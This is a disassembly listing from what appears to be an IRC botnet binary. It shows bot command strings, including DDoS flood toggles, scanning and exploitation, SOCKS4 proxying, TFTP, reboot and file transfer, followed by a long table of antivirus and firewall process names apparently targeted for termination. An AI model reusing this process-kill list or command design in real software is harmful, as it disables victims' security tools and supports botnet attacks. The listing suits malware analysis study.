aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40F6F1+14CDo
align 10h
aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40F6F1+14B6o
align 4
aIrc_log db 'irc.log',0 ; DATA XREF: sub_40F6F1+149Fo
aIrc_al db 'irc.al',0 ; DATA XREF: sub_40F6F1+1488o
align 4
aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40F6F1+1471o
aThreads_l db 'threads.l',0 ; DATA XREF: sub_40F6F1+145Ao
align 10h
aThreads_list db 'threads.list',0 ; DATA XREF: sub_40F6F1+1443o
align 10h
dword_437B20 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+140Fo
dd 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 4
dword_437B54 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+1408o
dd 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40F6F1+13F1o
align 4
aIrc_i db 'irc.i',0 ; DATA XREF: sub_40F6F1+13DAo
align 4
aIrc_id db 'irc.id',0 ; DATA XREF: sub_40F6F1+13C3o
align 4
aIrc_s db 'irc.s',0 ; DATA XREF: sub_40F6F1+13ACo
align 4
aIrc_status db 'irc.status',0 ; DATA XREF: sub_40F6F1+1395o
align 10h
aIrc_q db 'irc.q',0 ; DATA XREF: sub_40F6F1+137Eo
align 4
aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40F6F1+1367o
align 4
aIrc_d db 'irc.d',0 ; DATA XREF: sub_40F6F1+1350o
align 4
aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40F6F1+1339o
align 4
aIrc_r db 'irc.r',0 ; DATA XREF: sub_40F6F1+1322o
align 4
aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40F6F1+130Bo
align 4
aRoot_st db 'root.st',0 ; DATA XREF: sub_40F6F1+12F4o
aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40F6F1+12DDo
align 4
aExploitation db 'Exploitation',0 ; DATA XREF: sub_40F6F1+12D0o
align 4
aScan db 'Scan',0 ; DATA XREF: sub_40F6F1+12CBo
align 10h
aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40F6F1+12B2o
align 4
dword_437C2C dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0 db 'Secure',0 ; DATA XREF: sub_40F6F1+12A0o
align 4
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40F6F1+1287o
align 4
dword_437C54 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: sub_40F6F1+1275o
align 4
aClone_off db 'clone.off',0 ; DATA XREF: sub_40F6F1+125Co
align 4
aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40F6F1+1245o
align 4
aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40F6F1+122Eo
align 4
aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40F6F1+1217o
aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40F6F1+1200o
align 4
dword_437CB4 dd 66027402h, 641F7074h, 2E2E1FhaDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40F6F1+11D5o
dword_437CD0 dd 69027002h, 1F671F6Eh, 2E2Ehdword_437CDC dd 676E6950h, 6F6C6620h, 646Fhdword_437CE8 dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_437CF8 dd 64027502h, 2E1F701Fh, 2Ehdword_437D04 dd 20504455h, 6F6F6C66h, 64hdword_437D10 dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_437D20 dd 79027302h, 2E1F6E1Fh, 2Ehdword_437D2C dd 206E7953h, 6F6F6C66h, 64hdword_437D38 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_437D48 dd 64026402h, 1F731F6Fh, 2E2Ehdword_437D54 dd 536F4444h, 6F6C6620h, 646Fhdword_437D60 dd 736F6464h, 66666F2Eh, 0dword_437D6C dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_437D7C dd 20504354h, 69646572h, 74636572h, 0aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40F6F1+10FEo
align 10h
dword_437DA0 dd 6F026C02h, 2E1F671Fh, 2Ehdword_437DAC dd 20676F4Ch, 7473696Ch, 0dword_437DB8 dd 2E676F6Ch, 66666Fhdword_437DC0 dd 74026802h, 641F7074h, 2E2E1Fhdword_437DCC dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666hdword_437DDC dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer db 'Server',0 ; DATA XREF: sub_40F6F1+1087o
; sub_40F6F1+10C7o ...
align 4
aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40F6F1+106Eo
align 4
aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40F6F1+1057o
aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40F6F1+1040o
aLd_off db 'ld.off',0 ; DATA XREF: sub_40F6F1+1029o
align 4
aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40F6F1+1012o
align 4
aLd_on db 'ld.on',0 ; DATA XREF: sub_40F6F1+FFBo
align 4
aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40F6F1+FE4o
aVer db 'ver',0 ; DATA XREF: sub_40F6F1+FCDo
aIrc_version db 'irc.version',0 ; DATA XREF: sub_40F6F1+FB6o
aLo db 'lo',0 ; DATA XREF: sub_40F6F1+F9Fo
align 4
aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40F6F1+F88o
align 10h
aIrc_di db 'irc.di',0 ; DATA XREF: sub_40F6F1+F71o
align 4
aIrc_die db 'irc.die',0 ; DATA XREF: sub_40F6F1+F5Ao
aRn db 'rn',0 ; DATA XREF: sub_40F6F1+F43o
align 4
aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40F6F1+F29o
a63 db '63',0 ; DATA XREF: sub_40F6F1+DF4o
align 4
asc_437E94: ; DATA XREF: sub_40F6F1+DCCo
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_40F6F1+D8Co
; sub_40F6F1+DA4o ...
align 10h
aServer_1 db '$server',0 ; DATA XREF: sub_40F6F1+D7Fo
aRndnick db '$rndnick',0 ; DATA XREF: sub_40F6F1+D6Co
align 4
aChan db '$chan',0 ; DATA XREF: sub_40F6F1+D4Do
align 4
aUser_3 db '$user',0 ; DATA XREF: sub_40F6F1+D3Ao
align 4
aMe_0 db '$me',0 ; DATA XREF: sub_40F6F1+D26o
aD db '$%d',0 ; DATA XREF: sub_40F6F1+CB8o
aD_0 db '$%d-',0 ; DATA XREF: sub_40F6F1+BFDo
align 4
aIrc_act db 'irc.act',0 ; DATA XREF: sub_40F6F1+B25o
aIrc_activate db 'irc.activate',0 ; DATA XREF: sub_40F6F1+B0Do
align 4
dword_437EEC dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+AEAo
dd 2BBBB02h
aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0
dword_437F2C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+AD9o
dd 2BBBB02h
aChatAlreadyAct db ' Chat already active with user: %s.',0
align 4
dword_437F6C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+AC8o
dd 2BBBB02h
aFailedToSta_27 db ' Failed to start chat thread, error: <%d>.',0
dword_437FB0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+A59o
dd 2BBBB02h
aChatFromUserS_ db ' Chat from user: %s.',0
align 10h
aChat db 'CHAT',0 ; DATA XREF: sub_40F6F1+9C2o
align 4
dword_437FE8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+9A5o
dd 2BBBB02h
aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_438038 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+97Bo
; sub_40F6F1+4D3Bo
dd 2BBBB02h
aFailedToSta_28 db ' Failed to start transfer thread, error: <%d>.',0
dword_438080 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40F6F1+96Ao
dd 0A0Dh
dword_438098 dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40F6F1+8F0o
align 4
dword_4380BC dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40F6F1+8D6o
dd 0D017325h, 0Ah
dword_4380D8 dd 52455601h, 4E4F4953h, 1dword_4380E4 dd 23h dword_4380E8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+78Bo
dd 2BBBB02h
aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0 db 'SEND',0 ; DATA XREF: sub_40F6F1+6E8o
align 4
dword_43812C dd 43434401h, 0 dword_438134 dd 323333h ; sub_40F6F1+B47o ...
dword_438138 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5D2o
dd 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 4
dword_438168 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+5ABo
dd 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_40F6F1+574o
aPart db 'PART',0 ; DATA XREF: sub_40F6F1+526o
; sub_40F6F1+5EFo
align 4
aSS_0 db ':%s%s',0 ; DATA XREF: sub_40F6F1+4FEo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_40F6F1+3D0o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+371o
; sub_40F6F1+613o
dword_4381C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40F6F1+358o
; sub_40F6F1+615Eo ...
dd 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: sub_40F6F1+2E7o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+290o
; sub_40F6F1+5135o ...
align 4
a433 db '433',0 ; DATA XREF: sub_40F6F1+265o
a@: ; DATA XREF: sub_40F6F1+23Ao
unicode 0, <@>,0
a302_0 db '302',0 ; DATA XREF: sub_40F6F1+22Ao
a005 db '005',0 ; DATA XREF: sub_40F6F1+215o
a001 db '001',0 ; DATA XREF: sub_40F6F1+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+1E4o
; sub_40F6F1+3B7o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_40F6F1+1A9o
align 10h
asc_438240: ; DATA XREF: sub_40F6F1+19Ao
; sub_40F6F1+628Bo
unicode 0, <!>,0
asc_438244 db ' :',0 ; DATA XREF: sub_40F6F1+86o
; sub_40F6F1:loc_410290o
align 4
dd 7530h
off_43824C dd offset aAckwin32_exe ; DATA XREF: sub_415B93+CBo
; "ACKWIN32.EXE"
dd offset aAdaware_exe ; "ADAWARE.EXE"
dd offset aAdvxdwin_exe ; "ADVXDWIN.EXE"
dd offset aAgentsvr_exe ; "AGENTSVR.EXE"
dd offset aAgentw_exe ; "AGENTW.EXE"
dd offset aAlertsvc_exe ; "ALERTSVC.EXE"
dd offset aAlevir_exe ; "ALEVIR.EXE"
dd offset aAlogserv_exe ; "ALOGSERV.EXE"
dd offset aAmon9x_exe ; "AMON9X.EXE"
dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
dd offset aAnts_exe ; "ANTS.EXE"
dd offset aApimonitor_exe ; "APIMONITOR.EXE"
dd offset aAplica32_exe ; "APLICA32.EXE"
dd offset aApvxdwin_exe ; "APVXDWIN.EXE"
dd offset aArr_exe ; "ARR.EXE"
dd offset aAtcon_exe ; "ATCON.EXE"
dd offset aAtguard_exe ; "ATGUARD.EXE"
dd offset aAtro55en_exe ; "ATRO55EN.EXE"
dd offset aAtupdater_exe ; "ATUPDATER.EXE"
dd offset aAtupdater_exe ; "ATUPDATER.EXE"
dd offset aAtwatch_exe ; "ATWATCH.EXE"
dd offset aAu_exe ; "AU.EXE"
dd offset aAupdate_exe ; "AUPDATE.EXE"
dd offset aAupdate_exe ; "AUPDATE.EXE"
dd offset aAutodown_exe ; "AUTODOWN.EXE"
dd offset aAutodown_exe ; "AUTODOWN.EXE"
dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
dd offset aAvconsol_exe ; "AVCONSOL.EXE"
dd offset aAve32_exe ; "AVE32.EXE"
dd offset aAvgcc32_exe ; "AVGCC32.EXE"
dd offset aAvgctrl_exe ; "AVGCTRL.EXE"
dd offset aAvgnt_exe ; "AVGNT.EXE"
dd offset aAvgserv_exe ; "AVGSERV.EXE"
dd offset aAvgserv9_exe ; "AVGSERV9.EXE"
dd offset aAvguard_exe ; "AVGUARD.EXE"
dd offset aAvgw_exe ; "AVGW.EXE"
dd offset aAvkpop_exe ; "AVKPOP.EXE"
dd offset aAvkserv_exe ; "AVKSERV.EXE"
dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
dd offset aAvkwctl9_exe ; "AVKWCTl9.EXE"
dd offset aAvltmain_exe ; "AVLTMAIN.EXE"
dd offset aAvnt_exe ; "AVNT.EXE"
dd offset aAvp_exe ; "AVP.EXE"
dd offset aAvp32_exe ; "AVP32.EXE"
dd offset aAvpcc_exe ; "AVPCC.EXE"
dd offset aAvpdos32_exe ; "AVPDOS32.EXE"
dd offset aAvpm_exe ; "AVPM.EXE"
dd offset aAvptc32_exe ; "AVPTC32.EXE"
dd offset aAvpupd_exe ; "AVPUPD.EXE"
dd offset aAvpupd_exe ; "AVPUPD.EXE"
dd offset aAvsched32_exe ; "AVSCHED32.EXE"
dd offset aAvsynmgr_exe ; "AVSYNMGR.EXE"
dd offset aAvwin95_exe ; "AVWIN95.EXE"
dd offset aAvwinnt_exe ; "AVWINNT.EXE"
dd offset aAvwupd_exe ; "AVWUPD.EXE"
dd offset aAvwupd32_exe ; "AVWUPD32.EXE"
dd offset aAvwupd32_exe ; "AVWUPD32.EXE"
dd offset aAvwupsrv_exe ; "AVWUPSRV.EXE"
dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
dd offset aAvxquar_exe ; "AVXQUAR.EXE"
dd offset aAvxquar_exe ; "AVXQUAR.EXE"
dd offset aBackweb_exe ; "BACKWEB.EXE"
dd offset aBargains_exe ; "BARGAINS.EXE"
dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
dd offset aBeagle_exe ; "BEAGLE.EXE"
dd offset aBelt_exe ; "BELT.EXE"
dd offset aBidef_exe ; "BIDEF.EXE"
dd offset aBidserver_exe ; "BIDSERVER.EXE"
dd offset aBipcp_exe ; "BIPCP.EXE"
dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
dd offset aBisp_exe ; "BISP.EXE"
dd offset aBlackd_exe ; "BLACKD.EXE"
dd offset aBlackice_exe ; "BLACKICE.EXE"
dd offset aBlss_exe ; "BLSS.EXE"
dd offset aBootconf_exe ; "BOOTCONF.EXE"
dd offset aBootwarn_exe ; "BOOTWARN.EXE"
dd offset aBorg2_exe ; "BORG2.EXE"
dd offset aBpc_exe ; "BPC.EXE"
dd offset aBrasil_exe ; "BRASIL.EXE"
dd offset aBs120_exe ; "BS120.EXE"
dd offset aBundle_exe ; "BUNDLE.EXE"
dd offset aBvt_exe ; "BVT.EXE"
dd offset aCcapp_exe ; "CCAPP.EXE"
dd offset aCcevtmgr_exe ; "CCEVTMGR.EXE"
dd offset aCcpxysvc_exe ; "CCPXYSVC.EXE"
dd offset aCdp_exe ; "CDP.EXE"
dd offset aCfd_exe ; "CFD.EXE"
dd offset aCfgwiz_exe ; "CFGWIZ.EXE"
dd offset aCfiadmin_exe ; "CFIADMIN.EXE"
dd offset aCfiaudit_exe ; "CFIAUDIT.EXE"
dd offset aCfiaudit_exe ; "CFIAUDIT.EXE"
dd offset aCfinet_exe ; "CFINET.EXE"
dd offset aCfinet32_exe ; "CFINET32.EXE"
dd offset aClaw95cf_exe ; "CLAW95CF.EXE"
dd offset aClean_exe ; "CLEAN.EXE"
dd offset aCleaner_exe ; "CLEANER.EXE"
dd offset aCleaner3_exe ; "CLEANER3.EXE"
dd offset aCleanpc_exe ; "CLEANPC.EXE"
dd offset aClick_exe ; "CLICK.EXE"
dd offset aCmd32_exe ; "CMD32.EXE"
dd offset aCmesys_exe ; "CMESYS.EXE"
dd offset aCmgrdian_exe ; "CMGRDIAN.EXE"
dd offset aCmon016_exe ; "CMON016.EXE"
dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
dd offset aCpd_exe ; "CPD.EXE"
dd offset aCpf9x206_exe ; "CPF9X206.EXE"
dd offset aCpfnt206_exe ; "CPFNT206.EXE"
dd offset aCtrl_exe ; "CTRL.EXE"
dd offset aCv_exe ; "CV.EXE"
dd offset aCwnb181_exe ; "CWNB181.EXE"
dd offset aCwntdwmo_exe ; "CWNTDWMO.EXE"
dd offset aClaw95_exe ; "Claw95.EXE"
dd offset aClaw95cf_exe ; "CLAW95CF.EXE"
dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
dd offset aDcomx_exe ; "DCOMX.EXE"
dd offset aDefalert_exe ; "DEFALERT.EXE"
dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
dd offset aDefwatch_exe ; "DEFWATCH.EXE"
dd offset aDeputy_exe ; "DEPUTY.EXE"
dd offset aDivx_exe ; "DIVX.EXE"
dd offset aDllcache_exe ; "DLLCACHE.EXE"
dd offset aDllreg_exe ; "DLLREG.EXE"
dd offset aDoors_exe ; "DOORS.EXE"
dd offset aDpf_exe ; "DPF.EXE"
dd offset aDpfsetup_exe ; "DPFSETUP.EXE"
dd offset aDpps2_exe ; "DPPS2.EXE"
dd offset aDrwatson_exe ; "DRWATSON.EXE"
dd offset aDrweb32_exe ; "DRWEB32.EXE"
dd offset aDrwebupw_exe ; "DRWEBUPW.EXE"
dd offset aDssagent_exe ; "DSSAGENT.EXE"
dd offset aDvp95_exe ; "DVP95.EXE"
dd offset aDvp95_0_exe ; "DVP95_0.EXE"
dd offset aEcengine_exe ; "ECENGINE.EXE"
dd offset aEfpeadm_exe ; "EFPEADM.EXE"
dd offset aEmsw_exe ; "EMSW.EXE"
dd offset aEnt_exe ; "ENT.EXE"
dd offset aEsafe_exe ; "ESAFE.EXE"
dd offset aEscanh95_exe ; "ESCANH95.EXE"
dd offset aEscanhnt_exe ; "ESCANHNT.EXE"
dd offset aEscanv95_exe ; "ESCANV95.EXE"
dd offset aEspwatch_exe ; "ESPWATCH.EXE"
dd offset aEthereal_exe ; "ETHEREAL.EXE"
dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
dd offset aEvpn_exe ; "EVPN.EXE"
dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
dd offset aExe_avxw_exe ; "EXE.AVXW.EXE"
dd offset aExpert_exe ; "EXPERT.EXE"
dd offset aExplore_exe ; "EXPLORE.EXE"
dd offset aFAgnt95_exe ; "F-AGNT95.EXE"
dd offset aFProt_exe ; "F-PROT.EXE"
dd offset aFProt95_exe ; "F-PROT95.EXE"
dd offset aFStopw_exe ; "F-STOPW.EXE"
dd offset aFameh32_exe ; "FAMEH32.EXE"
dd offset aFast_exe ; "FAST.EXE"
dd offset aFch32_exe ; "FCH32.EXE"
dd offset aFih32_exe ; "FIH32.EXE"
dd offset aFindviru_exe ; "FINDVIRU.EXE"
dd offset aFirewall_exe ; "FIREWALL.EXE"
dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
dd offset aFnrb32_exe ; "FNRB32.EXE"
dd offset aFpWin_exe ; "FP-WIN.EXE"
dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
dd offset aFprot_exe ; "FPROT.EXE"
dd offset aFrw_exe ; "FRW.EXE"
dd offset aFsaa_exe ; "FSAA.EXE"
dd offset aFsav_exe ; "FSAV.EXE"
dd offset aFsav32_exe ; "FSAV32.EXE"
dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
dd offset aFsav95_exe ; "FSAV95.EXE"
dd offset aFsgk32_exe ; "FSGK32.EXE"
dd offset aFsm32_exe ; "FSM32.EXE"
dd offset aFsma32_exe ; "FSMA32.EXE"
dd offset aFsmb32_exe ; "FSMB32.EXE"
dd offset aGator_exe ; "GATOR.EXE"
dd offset aGbmenu_exe ; "GBMENU.EXE"
dd offset aGbpoll_exe ; "GBPOLL.EXE"
dd offset aGenerics_exe ; "GENERICS.EXE"
dd offset aGmt_exe ; "GMT.EXE"
dd offset aGuard_exe ; "GUARD.EXE"
dd offset aGuarddog_exe ; "GUARDDOG.EXE"
dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
dd offset aHbinst_exe ; "HBINST.EXE"
dd offset aHbsrv_exe ; "HBSRV.EXE"
dd offset aHotactio_exe ; "HOTACTIO.EXE"
dd offset aHotpatch_exe ; "HOTPATCH.EXE"
dd offset aHtlog_exe ; "HTLOG.EXE"
dd offset aHtpatch_exe ; "HTPATCH.EXE"
dd offset aHwpe_exe ; "HWPE.EXE"
dd offset aHxdl_exe ; "HXDL.EXE"
dd offset aHxiul_exe ; "HXIUL.EXE"
dd offset aIamapp_exe ; "IAMAPP.EXE"
dd offset aIamserv_exe ; "IAMSERV.EXE"
dd offset aIamstats_exe ; "IAMSTATS.EXE"
dd offset aIbmasn_exe ; "IBMASN.EXE"
dd offset aIbmavsp_exe ; "IBMAVSP.EXE"
dd offset aIcload95_exe ; "ICLOAD95.EXE"
dd offset aIcloadnt_exe ; "ICLOADNT.EXE"
dd offset aIcmon_exe ; "ICMON.EXE"
dd offset aIcsupp95_exe ; "ICSUPP95.EXE"
dd offset aIcsupp95_exe ; "ICSUPP95.EXE"
dd offset aIcsuppnt_exe ; "ICSUPPNT.EXE"
dd offset aIdle_exe ; "IDLE.EXE"
dd offset aIedll_exe ; "IEDLL.EXE"
dd offset aIedriver_exe ; "IEDRIVER.EXE"
dd offset aIexplorer_exe ; "IEXPLORER.EXE"
dd offset aIface_exe ; "IFACE.EXE"
dd offset aIfw2000_exe ; "IFW2000.EXE"
dd offset aInetlnfo_exe ; "INETLNFO.EXE"
dd offset aInfus_exe ; "INFUS.EXE"
dd offset aInfwin_exe ; "INFWIN.EXE"
dd offset aInit_exe ; "INIT.EXE"
dd offset aIntdel_exe ; "INTDEL.EXE"
dd offset aIntren_exe ; "INTREN.EXE"
dd offset aIomon98_exe ; "IOMON98.EXE"
dd offset aIparmor_exe ; "IPARMOR.EXE"
dd offset aIris_exe ; "IRIS.EXE"
dd offset aIsass_exe ; "ISASS.EXE"
dd offset aIsrv95_exe ; "ISRV95.EXE"
dd offset aIstsvc_exe ; "ISTSVC.EXE"
dd offset aJammer_exe ; "JAMMER.EXE"
dd offset aJdbgmrg_exe ; "JDBGMRG.EXE"
dd offset aJedi_exe ; "JEDI.EXE"
dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
dd offset aKavpf_exe ; "KAVPF.EXE"
dd offset aKazza_exe ; "KAZZA.EXE"
dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
dd offset aKernel32_exe ; "KERNEL32.EXE"
dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
dd offset aLauncher_exe ; "LAUNCHER.EXE"
dd offset aLdnetmon_exe ; "LDNETMON.EXE"
dd offset aLdpro_exe ; "LDPRO.EXE"
dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
dd offset aLdscan_exe ; "LDSCAN.EXE"
dd offset aLnetinfo_exe ; "LNETINFO.EXE"
dd offset aLoader_exe ; "LOADER.EXE"
dd offset aLocalnet_exe ; "LOCALNET.EXE"
dd offset aLockdown_exe ; "LOCKDOWN.EXE"
dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
dd offset aLookout_exe ; "LOOKOUT.EXE"
dd offset aLordpe_exe ; "LORDPE.EXE"
dd offset aLsetup_exe ; "LSETUP.EXE"
dd offset aLuall_exe ; "LUALL.EXE"
dd offset aLuall_exe ; "LUALL.EXE"
dd offset aLuau_exe ; "LUAU.EXE"
dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
dd offset aLuinit_exe ; "LUINIT.EXE"
dd offset aLuspt_exe ; "LUSPT.EXE"
dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
dd offset aMcagent_exe ; "MCAGENT.EXE"
dd offset aMcmnhdlr_exe ; "MCMNHDLR.EXE"
dd offset aMcshield_exe ; "MCSHIELD.EXE"
dd offset aMctool_exe ; "MCTOOL.EXE"
dd offset aMcupdate_exe ; "MCUPDATE.EXE"
dd offset aMcupdate_exe ; "MCUPDATE.EXE"
dd offset aMcvsrte_exe ; "MCVSRTE.EXE"
dd offset aMcvsshld_exe ; "MCVSSHLD.EXE"
dd offset aMd_exe ; "MD.EXE"
dd offset aMfin32_exe ; "MFIN32.EXE"
dd offset aMfw2en_exe ; "MFW2EN.EXE"
dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
dd offset aMgavrtcl_exe ; "MGAVRTCL.EXE"
dd offset aMgavrte_exe ; "MGAVRTE.EXE"
dd offset aMghtml_exe ; "MGHTML.EXE"
dd offset aMgui_exe ; "MGUI.EXE"
dd offset aMinilog_exe ; "MINILOG.EXE"
dd offset aMmod_exe ; "MMOD.EXE"
dd offset aMonitor_exe ; "MONITOR.EXE"
dd offset aMoolive_exe ; "MOOLIVE.EXE"
dd offset aMostat_exe ; "MOSTAT.EXE"
dd offset aMpfagent_exe ; "MPFAGENT.EXE"
dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
dd offset aMpftray_exe ; "MPFTRAY.EXE"
dd offset aMrflux_exe ; "MRFLUX.EXE"
dd offset aMsapp_exe ; "MSAPP.EXE"
dd offset aMsbb_exe ; "MSBB.EXE"
dd offset aMsblast_exe ; "MSBLAST.EXE"
dd offset aMscache_exe ; "MSCACHE.EXE"
dd offset aMsccn32_exe ; "MSCCN32.EXE"
dd offset aMscman_exe ; "MSCMAN.EXE"
dd offset aMsconfig_exe ; "MSCONFIG.EXE"
dd offset aMsdm_exe ; "MSDM.EXE"
dd offset aMsdos_exe ; "MSDOS.EXE"
dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
dd offset aMsinfo32_exe ; "MSINFO32.EXE"
dd offset aMslaugh_exe ; "MSLAUGH.EXE"
dd offset aMsmgt_exe ; "MSMGT.EXE"
dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
dd offset aMssmmc32_exe ; "MSSMMC32.EXE"
dd offset aMssys_exe ; "MSSYS.EXE"
dd offset aMsvxd_exe ; "MSVXD.EXE"
dd offset aMu0311ad_exe ; "MU0311AD.EXE"
dd offset aMwatch_exe ; "MWATCH.EXE"
dd offset aN32scanw_exe ; "N32SCANW.EXE"
dd offset aNav_exe ; "NAV.EXE"
dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
dd offset aNavapsvc_exe ; "NAVAPSVC.EXE"
dd offset aNavapw32_exe ; "NAVAPW32.EXE"
dd offset aNavdx_exe ; "NAVDX.EXE"
dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
dd offset aNavlu32_exe ; "NAVLU32.EXE"
dd offset aNavnt_exe ; "NAVNT.EXE"
dd offset aNavstub_exe ; "NAVSTUB.EXE"
dd offset aNavw32_exe ; "NAVW32.EXE"
dd offset aNavwnt_exe ; "NAVWNT.EXE"
dd offset aNc2000_exe ; "NC2000.EXE"
dd offset aNcinst4_exe ; "NCINST4.EXE"
dd offset aNdd32_exe ; "NDD32.EXE"
dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
dd offset aNetarmor_exe ; "NETARMOR.EXE"
dd offset aNetd32_exe ; "NETD32.EXE"
dd offset aNetinfo_exe ; "NETINFO.EXE"
dd offset aNetmon_exe ; "NETMON.EXE"
